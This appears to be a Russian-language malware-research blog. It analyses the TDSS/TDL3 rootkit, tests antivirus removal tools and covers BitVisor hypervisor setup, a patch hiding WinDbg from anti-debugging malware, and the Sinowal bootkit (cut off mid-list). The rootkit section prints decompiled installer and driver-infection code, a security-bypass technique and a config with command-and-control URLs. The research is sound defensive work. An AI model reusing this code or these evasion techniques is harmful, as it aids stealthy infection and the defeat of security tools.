Mastodon

Thursday, April 29, 2010

TDSS Rootkit: Дальнейшее развитие и текущее состояние

Репост из блога Esage Lab

Про руткит TDSS - а именно, про ту его версию, которая также известна как TDL3 - написано достаточно много: с момента появления первых прецедентов прошло уже почти полгода. Однако, TDL3 до сих пор является актуальной угрозой, так как на каждое обновление процедур его обнаружения и лечения антивирусами авторы руткита отвечают всё новыми и новыми обновлениями вредоносного кода. Подробно ознакомиться с техническим описанием руткита TDL3 можно по следующим ссылкам (на английском языке):

TDL3 - Why so serious? Let's put a smile on that face...
От BackDoor.Tdss.565 и выше (aka TDL3)

В данной заметке я хотел бы остановиться на нововведениях, которые появились в TDL3 после публикации его первых обзоров. Кроме того, в конце заметки будут приведены результаты тестирования существующих утилит для лечения TDSS.

Инсталлятор


Инсталлятор руткита представляет собой исполняемый файл размером ~87Кб, обработанный несложной утилитой для запутывания кода (VirusTotal Report).

Ниже приведён конфигурационный файл, используемый руткитом после установки в систему:
[main]
quote=You people voted for Hubert Humphrey, and you killed Jesus
version=3.273
botid=7a91eb86-a6be-4db5-8694-0337dad2c75d
affid=20592
subid=0
installdate=22.4.2010 23:42:43
builddate=20.4.2010 16:17:53
[injector]
*=tdlcmd.dll
[tdlcmd]
servers=https://li1i16b0.com/;https://19js810300z.com/;https://lj1i16b0.com/
wspservers=http://7gafd33ja90a.com/;http://n1mo661s6cx0.com/
popupservers=http
version=3.741

Как видно, версия руткита - 3.273, последняя на данный момент.

С самых первых версий TDSS радовал нас оригинальной, и в то же время простой, техникой обхода поведенческой защиты, принцип работы которой основан на использовании механизмов службы диспетчера печати Windows. А именно, осуществлялась регистрация вспомогательной динамической библиотеки диспетчера печати (Print Processor) с помощью функции API функции AddPrintProcessor, что, в свою очередь, приводило к выполнению кода, содержащегося в этой библиотеке, в контексте доверенного процесса (а именно, spoolsv.exe). Сложность детектирования подобного поведения для систем типа HIPS заключается в том, что вызов функции AddPrintProcessor в итоге приводит к вызову RPC-функции диспетчера печати, единственный надёжный способ мониторинга которой заключается в контроле недокументированных LPC сообщений. Однако, со временем производители антивирусных защит всё-таки научились корректно препятствовать описанной технике. После этого разработчики руткита начали использовать с той же целью вызов похожей функции, а именно - AddPrintProvidor, вызов которой разработчики проактивных защит контролировать не догадались (sic!):
BOOL AddPrintProvidor(
    LPTSTR pName,         // reserved, must be NULL 
    DWORD  Level,         // provider information level 
                          // (if 1 - function uses a PROVIDOR_INFO_1 structure)
    LPBYTE pProviderInfo  // provider information buffer
);
typedef struct _PROVIDOR_INFO_1 
{ 
    LPTSTR pName; 
    LPTSTR pEnvironment; 
    LPTSTR pDLLName; 
  
} PROVIDOR_INFO_1, 
*PPROVIDOR_INFO_1; 

Взглянем на псевдокод той части инсталлятора, которая выполняет обход проактивной защиты:
 1 // генерация временного имени, под которым будет сохранена dll библиотека,
 2 // загружаемая в контекст доверенного процесса функцией AddPrintProvidor()
 3 if (GetTempFileNameW(&PathName, 0, 0, &ExistingFileName))
 4 {
 5     // сама dll библиотека представляет собой тот же самый исполняемый файл дроппера,
 6     // в котором выставленны соотвествующие значения флагов PE заголовка.
 7     if (MoveFileExW(&NewFileName, &ExistingFileName, 9u))
 8     {
 9         pDLLName = &ExistingFileName;
10         *(_DWORD *)pProvidorInfo = L"tdl";
11         pEnvironment = 0;
12         AddPrintProvidorW(L"tdl", 1u, pProvidorInfo);
13         if (GetLastError() == 1722 /* The RPC server is unavailable */)
14         {
15             // Служба диспетчера печати не запущена
16             hScm = OpenSCManagerA(0, 0, 1u);
17             hService = OpenServiceA(hScm, "spooler", 0x14u);
18             if (hService)
19             {
20                 // запускаем службу
21                 if (StartServiceA(hService, 0, 0))
22                 {
23                     SERVICE_STATUS_PROCESS Buffer;
24                     memset(&Buffer, 0, 0x1Cu);
25                     do
26                     {
27                         // ... и дожидаемся окончания её запуска
28                         if (!QueryServiceStatusEx(hService, 0, &Buffer, 0x24u, &pcbBytesNeeded))
29                             break;
30                         Sleep(dwMilliseconds);
31                     }
32                     while (Buffer.dwCurrentState != 4 /* SERVICE_RUNNING */);
33                     pDLLName = &ExistingFileName;
34                     *(_DWORD *)pProvidorInfo = L"tdl";
35                     pEnvironment = 0;
36                     AddPrintProvidorW(L"tdl", 1u, pProvidorInfo);
37                 }
38                 CloseServiceHandle(hService);         
39             }
40         }
41 
42         // ...    
43         // print providor и dll библиотека больше не нужны, удаляем их
44         DeletePrintProvidorW(0, 0, L"tdl");
45         DeleteFileW(&ExistingFileName);
46         
47         // ...
48     }
49 }

В дальнейшем, работая уже в контексте доверенного процесса, инсталлятор руткита загружает драйвер режима ядра, имена файла и системного сервиса для которого генерируются случайным образом. После загрузки в память драйвер руткита выполняет заражение уже установленного в системе легитимного драйвера и инициализирует устройство, обслуживающее собственную зашифрованную файловую систему руткита. На эту файловую систему инсталлятор записывает файлы tdlcmd.dll (код трояна, работающий в User Mode), config.ini (конфигурационный файл, расшифрованный текст которого был приведён выше – этот файл формируется инсталлятором «на лету» их тех данных, которые были «зашиты» в инсталлятор на этапе его сборки и конфигурирования) и bcfg.tmp (исходные конфигурационные данные из инсталлятора). После того, как заражение выполнено, драйвер и инсталлятор самоудаляются, а руткит остаётся жить в системе исключительно как «потерянный» фрагмент исполняемого кода: он записан в последние секторы физического диска и не существующий в виде файла.

Основное тело руткита не претерпело существенных изменений за последнее время за тем исключением, что обработчики дисковых перехватов руткита теперь дополнительно фильтруют такие запросы IRP, как IOCTL_SCSI_PASS_THROUGH. Подобные запросы, адресованые драйверу минипорта, некоторое время использовались утилитами для удаления TDSS.

Заражение драйвера


Одним из главных нововведений в версии 3.273 является то, что вместо заражения заранее известного драйвера минипорта дискового контроллера руткит теперь заражает случайный драйвер, выбирая его из числа загруженных в память на момент заражения. Претерпел существенные изменения и код, которым осуществляется заражение драйвера (он по-прежнему записывается поверх секции, в которой хранятся ресурсы).

Во-первых, поиск функций ядра, используемых в этом коде, теперь осуществляется по контрольным суммам, подсчитанным от их имён. В предыдущих версиях руткита адреса нужных функций хранились непосредственно в коде. Это изменение связано с инцидентом, произошедшим после выхода обновления Miscrosoft для уязвимости MS10-015: в результате использования в коде руткита фиксированных адресов функций ядра огромное количество зараженных пользователей после обновления получили «синий экран смерти» на этапе загрузки и, как следствие, неработоспособную систему (Windows blue screen may be result of rootkit infection).

Во-вторых, та часть кода заражения, которая осуществляет загрузку тела руткита из последних секторов физического диска, теперь шифруется методом XOR. Однобайтный ключ шифрования хранится в начале зараженной секции наряду с адресом оригинальной точки входа драйвера. Возможно, разработчики руткита предприняли этот шаг для обхода тех антивирусных утилит, которые использовали модификацию загружаемого драйвера в ходе лечения.

В третьих, для установки нотификатора на создание объектов типа "Control Device Object" в новой версии используется функция IoRegisterPlugPlayNotification, вместо функции IoRegisterFsRegistrationChange, используемой в более ранних версиях:
NTSTATUS 
IoRegisterPlugPlayNotification(
    IN IO_NOTIFICATION_EVENT_CATEGORY EventCategory,
    IN ULONG EventCategoryFlags,
    IN PVOID EventCategoryData OPTIONAL,
    IN PDRIVER_OBJECT DriverObject,
    IN PDRIVER_NOTIFICATION_CALLBACK_ROUTINE CallbackRoutine,
    IN PVOID Context,
    OUT PVOID *NotificationEntry
);

typedef NTSTATUS (* PDRIVER_NOTIFICATION_CALLBACK_ROUTINE) (
    IN PVOID NotificationStructure,
    IN PVOID Context
);

Рассмотрим псевдокод первой части кода заражения системного драйвера:
 1 NTSTATUS InfectedDriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
 2 {    
 3     // получаем указатель на секцию ресурсов зараженного драйвера
 4     rsrc = (int)((char *)DriverObject->DriverStart + 
 5            *(_DWORD *)(DriverObject->DriverStart + 
 6            *((_DWORD *)DriverObject->DriverStart + 15) + 136));
 7 
 8     // ищем адрес загрузки ядра
 9     __asm { sidt fword ptr [ebp+var_10] }
10     kernel_base = *(_DWORD *)(*(_DWORD *)&v28[2] + 512) & 0xF000 |
11                   (*(_WORD *)(*(_DWORD *)&v28[2] + 518) << 16);
12     for (i = kernel_base; *(_WORD *)kernel_base != 'MZ'; i = kernel_base)
13         kernel_base = (kernel_base - 2) & 0xFFFFF000;
14 
15     // получаем адрес функции nt!ExAllocatePool()
16     __ExAllocatePool = _getapi(kernel_base, 0xDE45E96Cu);
17     // выделяем память под структуру, в которой будут хранится 
18     // значения различных ключевых переменных, а так же 
19     // прочитанное с диска тело руткита
20     context = __ExAllocatePool(0, 0x69A60u);
21     memset(context, 0, 0x69A60u);
22     *(_DWORD *)(context + 1968) = kernel_base;
23     *(_DWORD *)(context + 352) = DriverObject;
24     memcpy((void *)(context + 1972), rsrc, 0x395u);
25 
26     // вызов оригинальной точки входа зараженного драйвера
27     status = ((char *)DriverObject->DriverStart + *(_DWORD *)(rsrc + 8)))(
28         DriverObject, RegistryPath);
29 
30     // расшифровка второй части шеллкода, которая выполняет роль 
31     // обработчика PnP событий, и читает с диска тело руткита
32     k = *(_BYTE *)(rsrc + 16);
33     code_len = 433;
34     code_ptr = context + 2456;
35     do
36     {
37         *(_BYTE *)code_ptr++ ^= k++;
38         --code_len;
39     }
40     while (code_len);
41 
42     // установка нотификатора для обработки PnP событий
43     // EventCategory = EventCategoryTargetDeviceChange
44     __IoRegisterPlugPlayNotification = _getapi(kernel_base, 0x48399F96u);
45     __IoRegisterPlugPlayNotification(2, 1, &v17, DriverObject, context + 2456, 
46         context, context + 348);
47 
48     return status;
49 }

Вторая часть кода заражения системного драйвера, исполняемая при появлении определённых PnP событий, выполняет открытие устройства, имя которого передаётся в обработчик. После этого код заражения читает из последних секторов открытого устройства тело руткита, которое хранится в собственной зашифрованной файловой системе руткита под именем "tdl".

Стоит заметить, что начиная с версии 3.27 способ шифрования этой файловой системы несколько изменился: теперь вместо алгоритма RC4 со строкой "tdl" в качестве ключа используется инкрементальный XOR:
1 // функция расшифровки сектора (его размер равен 1024-м байтам)
2 void xor_encrypt(unsigned char *buf, int buf_len)
3 {
4     unsigned char key = 0x54;
5     for (int i = 0; i < buf_len; i++)
6     {
7         *(buf + i) ^= key++;
8     }
9 }

Формат самой файловой системы и логика её хранения на диске не изменились.

TDSS против антивирусных продуктов


В рамках исследования новых версий руткита мы провели тесты различных антивирусных программ с целью выяснения, насколько эффективно антивирусная индустрия противостоит руткиту TDSS на данный момент.

Тестирование производилось на платформе VMware с установленной гостевой операционной системой Windows XP Professional SP3. Были протестированы последние на момент написания данной заметки версии тех антивирусных продуктов, в которых ранее была заявлена способность к детектированию или лечению TDL3. Кроме того, с целью выяснения эффективности используемой в инсталляторе руткита техники обхода проактивных защит, в тестирование были дополнительно включены продукты, обладающие наиболее продвинутыми функциями поведенческого анализа (Comodo, ZoneAlarm, Outpost и Kaspersky Internet Security).

На виртуальную машину устанавливались последние версии тестируемых приложений, после чего осуществлялось обновление антивирусных баз и компонентов. Далее производился запуск инсталлятора руткита, перезагрузка гостевой ОС и полное сканирование системы тестируемым приложением с активацией всех возможных дополнительных настроек.


Название и версия программыОбнаружение по поведениюОбнаружение активнго зараженияЛечение активного заражения
Dr.Web Security Space 6.00.0.04080N/AYesYes
Kaspersky TDSSKiller 2.2.8.1N/AОбнаружен неправильный файлNo
Norman TDSS Cleaner 1.9.1.0N/AYesYes
Vba32 AntiRootkit 3.12.4.0 N/ANoNo
HitmanPro 3.5.5.98N/ANoNo
MalwareBytes Anti-Malware 1.45N/ANoNo
RootRepeal 2.0.0 BetaN/AТолько в памяти (без имени зараженного файла)No
Comodo Internet Security 3.14NoN/AN/A
Kaspersky Internet Security 2010 (9.0.0.736)NoТолько в памяти (без имени зараженного файла)No
ZoneAlarm Internet Security Suite 9.1.507.0NoN/AN/A
Outpost Firewall Pro 2009 (3063.452.726.367)NoN/AN/A


Как видно из таблицы, с лечением активного заражения справилось всего две программы. Утилита TDSSKiller смогла обнаружить факт заражения, однако, в качестве зараженного файла был указан atapi.sys, что не соответствовало действительности:
00:41:06:756 1880 Driver "atapi" infected by TDSS rootkit!
00:41:06:772 1880 C:\WINDOWS\system32\DRIVERS\atapi.sys - Verdict: 1
00:41:06:772 1880 File "C:\WINDOWS\system32\DRIVERS\atapi.sys" infected by TDSS rootkit ... 
00:41:06:772 1880 Processing driver file: C:\WINDOWS\system32\DRIVERS\atapi.sys

Утилита RootRepeal смогла обнаружить только модифицированный руткитом Driver Object:
STEALTH CODE
-------------------
System 0x816f78b4  -  Hidden Code
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CLEANUP]
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CLOSE]
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CREATE]
...
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_WRITE]

С поведенческим обнаружением инсталляции руткита в систему не справился ни один продукт.

С учётом относительно свежести тестируемого экземпляра руткита, рано делать какие-либо выводы из этих результатов. Но очевидно, что если в ближайшем будущем ситуация с детектированием TDL3 антивирусными программами не исправится, то он может стать для антивирусной индустрии самым существенным провалом со времён червя Conficker. По нашим данным, ботом TDSS заражено огромное количество машин – его ботнет на данный момент входит в число 10-ти самых крупных.

TDSS Remover


Вскоре после появления новой версии TDL3 мы выпустили обновление своей утилиты TDSS Remover:



Помимо лечения самой последней версии руткита, в новой версии утилиты была добавлена функция сохранения зашифрованной файловой системы руткита, а также утилита, которая извлекает отдельные файлы руткита из сохраненной файловой системы. Файловая система руткита автоматически сохраняется в файл с именем TDL3_volum.bin одновременно с сохранением зараженных файлов:



Для извлечения файлов, хранящихся на зашифрованной файловой системе, используется утилита TDL3_extract.exe, которой в качестве параметра передаётся путь к файлу TDL3_volume.bin:
C:\> TDL3_extract.exe dump_28.04-05.56.44\TDL3_volume.bin
Extracting data from file dump_28.04-05.56.44\TDL3_volume.bin...
0x00000001 0x000001ac config.ini
0x00000002 0x00005f8c tdl
0x0000001b 0x00000360 rsrc.dat
0x0000001c 0x0000007f bckfg.tmp
0x0000001d 0x00005000 tdlcmd.dll
Press any key to quit...

Thursday, December 24, 2009

Hypervisors

Несколько недель назад на многих IT-порталах обсуждался гипервизор, который предназначен для защиты ядра linux от руткитов.
Более подробно он описывается в оригинальном пейпере от исследователей из NC State University:
http://discovery.csc.ncsu.edu/pubs/ccs09-HookSafe.pdf

Однако, это далеко не первое практическое воплощение подобной идеи. В 2008-м году на конференции Black Hat USA был представлен доклад Hypervisor IPS based on Hardware Assisted Virtualization Technology за авторством Junichi Murakami, в котором рассматривается гипервизор под названием Viton, предназначенный для защиты ядра и критических системных структур Windows от модификации со стороны Malware.

Recently malware has become more stealthy and thus harder to detect, than ever before. Current malware uses many stealth techniques, such as dynamic code injection, rootkit technology and much more. Moreover, we have seen full kernel mode malware like Trojan.Srizbi.

Many detection tools were released that specialize in kernel mode malware and especially in the detection of rootkits. However, these tools are a cat and mouse game, because they and the malware are executed on the same privilege level.

This is why we developed an IPS based on a hypervisor, which uses features of hardware virtualization. It is executed on Ring-1 and thus runs with higher privileges than the OS layer.

In this session, we will talk about stealth mechanisms used by recent malware and demonstrate how to protect against such malware using Hypervisor IPS.


Download PDF

К сожалению, исходный код Viton-a (так же как и HookSafe) не доступен в паблике. Однако, он базируется на другом open-source гипервизоре, под названием BitVisor. BitVisor умеет запускать внутри виртуального окружения уже установленную на машине операционную систему, не зависимо от её типа (Windows, *NIX-like, итд.) На данный момент, в нём реализован следующий функционал:
  • Поддержка 32-х разрядной архитектуры в VMM
  • Поддержка PAE
  • Поддержка эмуляции реального режима работы процессора
Сам гипервизор выполнен в виде мини-ядра, которое получает управление через системный загрузчик, выполняет инициализацию и инициирует повторную загрузку "виртуализированного" компьютера уже под управлением гипервизора.


Исходный код BitVisor-а доступен на SourceForge под BSD лицензией.

В связи с тем, что readme/документация на исходники/проект отсутствует как таковая а процесс его установки достаточно нетривиальный, ниже будет приведено описание того, как запустить под BitVisor-ом операционную систему. Я тестировал его на Windows XP SP3 x32 и Gentoo Linux 2008.0

Сбрка и настройка для *NIX-like

  1. Распаковываем исходники в произвольный каталог (tar -xpf bitvisor-1.0.1.tar.gz).
  2. Создаём файл .config, со следующим содержанием:
    CONFIG_64=0#64bit VMM
    CONFIG_DEBUG_GDB=0#gdb remote debug support (32bit only)
    CONFIG_TTY_SERIAL=0#VMM uses a serial port (COM1) for output
    CONFIG_TTY_PRO1000=0#VMM output to LAN (VPN_PRO1000 must be 1)
    CONFIG_CPU_MMU_SPT_1=1#Shadow type 1 (very slow and stable)
    CONFIG_CPU_MMU_SPT_2=0#Shadow type 2 (faster and unstable)
    CONFIG_CPU_MMU_SPT_3=0#Shadow type 3 (faster and unstable)
    CONFIG_CPU_MMU_SPT_USE_PAE=0#Shadow page table uses PAE
    CONFIG_PS2KBD_F11PANIC=0#Panic when F11 is pressed (PS/2 only)
    CONFIG_PS2KBD_F12MSG=1#Print when F12 is pressed (PS/2 only)
    CONFIG_DBGSH=1#Debug shell access from guest
    CONFIG_LOG_TO_GUEST=#Log to guest memory
    CONFIG_ATA_DRIVER=1#Enable ATA driver
    CONFIG_STORAGE_ENC=0#Enable storage encryption (DEBUG)
    CONFIG_CRYPTO_VPN=0#Enable IPsec VPN Client
    CONFIG_USB_DRIVER=0#Enable USB driver
    CONFIG_SHADOW_UHCI=0#Shadow UHCI(USB1) transfers
    CONFIG_SHADOW_EHCI=0#Shadow EHCI(USB2) transfers
    CONFIG_HANDLE_USBMSC=0#Handle USB mass storage class devices
    CONFIG_HANDLE_USBHUB=0#Handle USB hub class devices
    CONFIG_CONCEAL_USBCCID=0#Conceal USB ccid class device
    CONFIG_PS2KBD_F10USB=0#Run a test for USB ICCD when F10 pressed
    CONFIG_PS2KBD_F12USB=0#Dump EHCI async. list when F12 pressed
    CONFIG_IEEE1394_CONCEALER=0#Conceal OHCI IEEE 1394 host controllers
    CONFIG_FWDBG=0#Debug via IEEE 1394
    CONFIG_ACPI_DSDT=1#Parse ACPI DSDT
    CONFIG_DISABLE_SLEEP=1#Disable ACPI S2 and S3
    CONFIG_ENABLE_ASSERT=1#Enable checking assertion failure
    CONFIG_DEBUG_ATA=0#Enable debugging ATA driver
    CONFIG_SELECT_AES_GLADMAN=0#Select Dr. Gladmans AES assembler code
    CONFIG_CARDSTATUS=0#Panic if an IC card is ejected (IDMAN)
    CONFIG_IDMAN=0#IDMAN (CRYPTO_VPN must be enabled)
    CONFIG_VPN_PRO100=0#Enable VPN for Intel PRO/100
    CONFIG_VPN_PRO1000=0#Intel PRO/1000 driver
    CONFIG_VPN_VE=0#Enable ve (Virtual Ethernet) driver
    CONFIG_VTD_TRANS=0#Enable VT-d translation
    

    Я отключил в нём лишние драйвера, наличие которых не обязательно для функционирования, собственно, гипервизора, и все потенциально глючные фичи, которые на практике часто приводят к неработоспособности машины. Если в наличии имеется COM-порт, стоит обратить внимание на опцию CONFIG_TTY_SERIAL, которая включает вывод отладочных сообщений ядра гипервизора в него.
  3. Компилируем исходники командой make.
  4. По завершению компиляции, в директории проекта должен появится файл bitvisor.elf, который необходимо скопировать на системный раздел и добавить в настройки загрузчика. Для GRUB соответствующая запись в menu.lst будет выглядеть так:
    title BitVisor
    root (hd0,0)
    kernel /boot/bitvisor.elf
    

Установка завершена, перезагружаем машину и выбираем BitVisor в загрузочном меню. После этого на экране должен появится лог инициализации гипервизора примерно следующего вида:
Starting BitVisor...
Copyright (c) 2007, 2008 University of Tsukuba
All rights reserved.
4226078720 bytes (4030 MiB) RAM available.
VMM will use 0xB7C00000-0xBFC00000 (128 MiB).
ACPI DMAR not found.
..................................................                                                  
Disable ACPI S3
ACPI MCFG cleared.
Module not found.
Processor 0 (BSP)
Processor 1 (AP)
SVM is not available.
SVM is not available.
Processor 1 2365101240 Hz
Processor 0 2365101288 Hz
Loading drivers.
PCI: finding devices ........................ 24 devices found
Starting a virtual machine.

После того как гипервизор запустится, на экране снова появится меню системного загрузчика, в котором, на этот раз, будет необходимо выбрать загрузку вашей операционной системы.
Что дальше? - А всё. Если загрузка прошла успешно - можно радоваться тому факту, что ОС работает в виртуальном окружении, практические возможности BitVisor-а на этом и заканчиваются.
Проверить его работу можно с помощью следующей программы (dbgsh.c - была выдрана из комментариев в исходных текстах):
#include "stdio.h"
#include "stdlib.h"

#ifdef __MINGW32__

#include "conio.h"
#define NOECHO()
#define GETCHAR() getch()
#define PUTCHAR(_c_) putch(_c_)
#define ECHO()

#else

#define NOECHO() system("stty -echo -icanon")
#define GETCHAR() getchar()
#define PUTCHAR(_c_) putchar(_c_), fflush(stdout)
#define ECHO() system("stty echo icanon")

#endif

static int vmcall_dbgsh(int c)
{
    int r = 0, n = 0;

    asm volatile("push (%%ebx); push 4(%%ebx); lea 8(%%esp), %%esp; vmcall" : 
                 "=a" (n) : "a" (0), "b" ("dbgsh"));

    if (n == 0)
    {
        return -1;
    }

    asm volatile("vmcall" : "=a" (r) : "a" (n), "b" (c));
    return r;
}

void e(void)
{
    ECHO();
}

int main(int argc, char **argv)
{
    int s = -1, r = 0;
    FILE *fp = NULL;

    if (argc >= 2) 
    {
        fp = fopen(argv[1], "w");
    } 
    else 
    {
        fp = NULL;
    }

    vmcall_dbgsh(-1);

    if (vmcall_dbgsh(-1) == -1)
    {
        exit (1);
    }

    atexit(e);
    NOECHO();

    while (true) 
    {
        r = vmcall_dbgsh(s);
        s = -1;

        if (r == 0) 
        {
            s = GETCHAR();
        } 
        else if (r > 0) 
        {
            if (fp)
            {
                fprintf(fp, "%c", r);
                fflush(fp);
            }

            PUTCHAR(r);
            s = 0;
        }
    }
}

Будучи скомпилированной (gcc dbgsh.c -o dbgsh) и запущенной под гипервизором, она предоставит command line интерфейс для доступа к его отладочным функциям:
# ./dbgsh
> help
debug           debugger
log             print VMM log
recvexample     msgregister() example
sendexample     msgsendbuf() example
sendint         call msgsendint()
serialtest      serial I/O test
shell           shell
reboot          reboot
exit            exit shell 

Встроенный отладчик умеет:
  • Дампить виртуальную и физическую память VMM.
  • Дампить виртуальную и физическую память виртуальной машины.
  • Показывать регистры процессора.
  • Выводить лог загрузки гипервизора.

Сбрка и настройка для Windows


Компиляция BitVisor-а в Windows мало отличается от таковой под *NIX, и для неё подходит среда типа Cygwin или MinGW.
Загрузка ядра гипервизора осуществляется с помощью GRUB4DOS, который необходимо настроить следующим образом:
  1. В корень системного раздела (С:\) копируются файлы bitvisor.elf и grldr, который входит в состав GRUB4DOS.
  2. В той же директории создаётся файл menu.lst следующего содержания:
    default 0
    timeout 10
    
    title BitVisor
    root (hd0,0)
    kernel /bitvisor.elf
    
  3. В конец файла boot.ini добавляется следующая строка: C:\GRLDR="Start GRUB"
После загрузки ОС под гипервизором, его работоспособность проверяется с помощью приведенной выше программы (на скриншете виден дамп образа ядра Windows, работающего в виртуальной среде):


Выводы


После прочтения этого материала, многие, вероятно, зададут вопрос: "Зачем нужен гипервизор, который ничего полезного не умеет делать?". В текущем виде BitVisor действительно представляет собой не более чем PoC, но в силу своей архитектуры, он хорошо подходит для написания на его базе как руткитов, так и всевозможных защитных систем вроде HookSafe и Viton.
Сделать сокрытие зараженного загрузочного сектора на уровне PIO, к примеру, с помощью BitVisor-а представляется довольно простой задачей.
На данный момент, в нём очень не хватает BluePill-like nested virtualization, однако, на фоне уже сделанной работы реализация вложенной виртуализации не выглядит пугающе.

Для желающих запустить BitVisor на своей машине, я выкладываю архив, в котором находятся:
  • Файл .config, который необходим для сборки гипервизора.
  • Собственно, собранный гипервизор (bitvisor.elf).
  • Файлы из GRUB4DOS, необходимые для загрузки гипервизора в Windows (menu.lst, grldr).
  • dbgsh.exe (Windows версия программы для отладки и проверки работоспособности гипервизора).

Sunday, December 13, 2009

Обмануть антиотладку

Мне периодически попадаются экземпляры malware, которые умеют детектировать присутствие удалённого отладчика подцепленного к виртуальной машине. Как правило, проблемы в данном случае создают именно руткиты, так как грузится они могут раньше, чем инициализируется WinDbg сессия (буткиты, заражение NTLDR и драйверов, которые используются на начальном этапе загрузки).

В 99% случаев, обнаружение удалённого отладчика реализовано весьма тривиально:
  1. Проверка глобальной экспортируемой переменной ядра KdDebuggerEnabled, которая при активном отладчике устанавливается в TRUE, и влияет на обработку исключений, и др.
  2. Вызов функции NtQuerySystemInformation c классом SystemDebuggerInformation, в возвращаемых данных будет следующая структура:
    typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION 
    { // Information Class 35
        BOOLEAN DebuggerEnabled;
        BOOLEAN DebuggerNotPresent;
    
    } SYSTEM_KERNEL_DEBUGGER_INFORMATION, 
    *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; 
    

Оба способа обнаружения отладчика обходятся довольно просто: единственная сложность заключается в том, что для этого, по озвученным выше причинам, не подходит hotpatching ядра из своего драйвера. Поэтому, я написал патчер, которы модифицирует файл ядра на диске:
  • Патчатся все xrefs на KdDebuggerEnabled таким образом, что бы значение оригинальной экспортируемой переменной никогда не изменялось.
  • Перехватывается системный вызов NtQuerySystemInformation, с подменой значений обоих полей для соответствующего информационного класса.


Архив с бинарником и исходными текстоми доступен для загрузки.

Разумеется, данный патч не расчитан на защиту от всех теоретически возможных методов детекта WinDbg, но при необходимости, нужный функционал можно реализовать по аналогии с уже имеющимся (чем я и буду заниматься по мере необходимости).

Кроме, собственно, патча и readme к нему, в архиве лежит и драйвер, который позволяет проверить его работоспособность, выводя в debug output информацию о наличии отладчика.

На системе с активным удалённым отладчиком без патча:
nt!KdDebuggerEnabled: 0x8054b6c1 (TRUE)
   DebuggerEnabled=0x00000001
DebuggerNotPresent=0x00000000

На пропатченой системе с активным удалённым отладчиком:
nt!KdDebuggerEnabled: 0x8054b6c1 (FALSE)
   DebuggerEnabled=0x00000000
DebuggerNotPresent=0x00000001

Friday, October 2, 2009

Анализ и обнаружение буткита Sinowal

Мы выпустили универсальную утилиту для удаления буткитов (включая Sinowal/Mebroot всех версий,
Stoned Bootkit и все возможные в будущем вариации на тему заражения MBR).
Читать описание и скачать утилиту можно здесь.
Далее – предыстория.

Буткиты, как разновидность широко распространенных вредоносных программ, появились in the wild в начале 2008-го года в лице семейства троянцев Sinowal (или Mebroot, по классификации других вендоров) и стали настоящей головной болью для антивирусной индустрии.
К тому же, недавно был представлен концептуальный буткит – Stoned Bootkit. Это послужило поводом для проведения небольшого исследования (см.ниже) с целью выяснить, как справляются антивирусы со старой доброй угрозой и ее новыми вариациями, а результаты тестирования, в свою очередь, послужили поводом для разработки простой и универсальной утилиты для лечения любых заражений MBR.

Предыстория


Современный буткит, фактически, представляет собой продолжение идей старых-добрых загрузочных вирусов времён DOS под NT платформу. Их история началась с презентации eEye Digital Security на конференции Black Hat USA в 2005-м году, в ходе которой был представлен концепт, запускающийся из главного загрузочного сектора и содержащий в качестве "полезной нагрузки" NDIS-бекдор, который позволял удалённо выполнять произвольный код на захваченном хосте:
http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-soeder.pdf

Именно этот код и взяли за основу авторы троянца Sinowal, дополнив его функционалом по загрузке драйвера и механизмами сокрытия вредоносной активности, сделавшими удаление данного буткита делом совсем нетривиальным. Что из себя представляет Sinowal?
  • В процессе заражения компьютера дроппер буткита модифицирует код главной загрузочной записи (MBR). Работающий в системе троянец не виден в качестве файла, он "живёт" исключительно в MBR и первых секторах диска, которые не относятся к какому-либо разделу.
  • Во время загрузки системы, MBR-код буткита перехватывает процедуру чтения ядра операционной системы с диска, для осуществления патчинга вызова функции IoInitSystem рядом с точкой входа. После этого (так же как и в случае с легитимным загрузочным кодом) дальнейшее управление процессом загрузки передаётся загрузочному коду системного раздела, который, в свою очередь, считывает и запускает загрузчик операционной системы (ntldr).
  • По завершению второй стадии загрузки, загрузчик операционной системы передаёт управление ядру, но из-за установленного перехвата вызова IoInitSystem выполняется код буткита, который осуществляет проецирование в память драйвера с основным функционалом троянца.
  • Драйвер троянца устанавливает перехваты на драйвера дисковой подсистемы, которые, при попытке чтения модифицированного MBR, возвращают сохранённую копию оригинального загрузочного сектора.
  • На более поздних этапах инициализации и работы системы в процессы пользовательского режима драйвером внедряется код, который осуществляет взаимодействие троянца с командным центром а так же представляет собой spyware, ориентированный на кражу аккаунтов для доступа к системам онлайн-банкинга.
Неудивительно, что появление подобного зловреда вызвало бурную реакцию всего security-сообщества, ведь до этого, буткиты воспринимали исключительно как интересные концепты, которые вряд ли получат развитие в виде реальных угроз.

Первое развёрнутое описание (а заодно и первая работающая утилита, позволяющая удалять буткита) были опубликованы автором популярного антируткита GMER на своём сайте:
http://www2.gmer.net/mbr/

Несколько позже, интересными публикациями отличились и эксперты Лаборатории Касперского, вслед за которыми детектирование первого семейства Sinowal-а добавили в свои продукты и другие крупные антивирусные вендоры:
http://www.securelist.com/ru/analysis/204007635/Butkit_vyzov_2008
http://www.securelist.com/ru/analysis/204007605/Sovremennye_informatsionnye_ugrozy_I_kvartal_2008

Второе, актуальное и по сей день, поколение Sinowal-а увидело свет в марте 2009-го года:
http://www.securelist.com/ru/analysis/204007655/Butkit_2009

Из-за более интересных перехватов чтения диска, и возможно, по некоторым другим причинам, лечение активного заражения этой версии стало ещё большей проблемой для производителей антивирусов.

Тестирование


Задачей тестирования было проверить, насколько качественно антивирусы детектируют и лечат вредоносные программы, модифицирующие MBR, и насколько они готовы к появлению новых угроз такого типа. Для этого, во-первых, необходимо выяснить, каким образом антивирусы детектируют вредоносный код в MBR: сигнатурно или универсально. Сигнатурное детектирование бессильно против новых модификаций старой угрозы. Во-вторых, необходимо протестировать антивирусы с уже появившейся «новой угрозой».

К сожалению, у меня не было ни времени ни желания тестировать все несколько десятков антивирусов от разных компаний, поэтому, в тестирование попали только те, которые по информации от самих вендоров и слухам с форума anti-malware.ru способны детектировать и/или лечить второе поколение Sinowal-а.
Итак, перед нами:
  • McAfee VirusScan 13.15.101
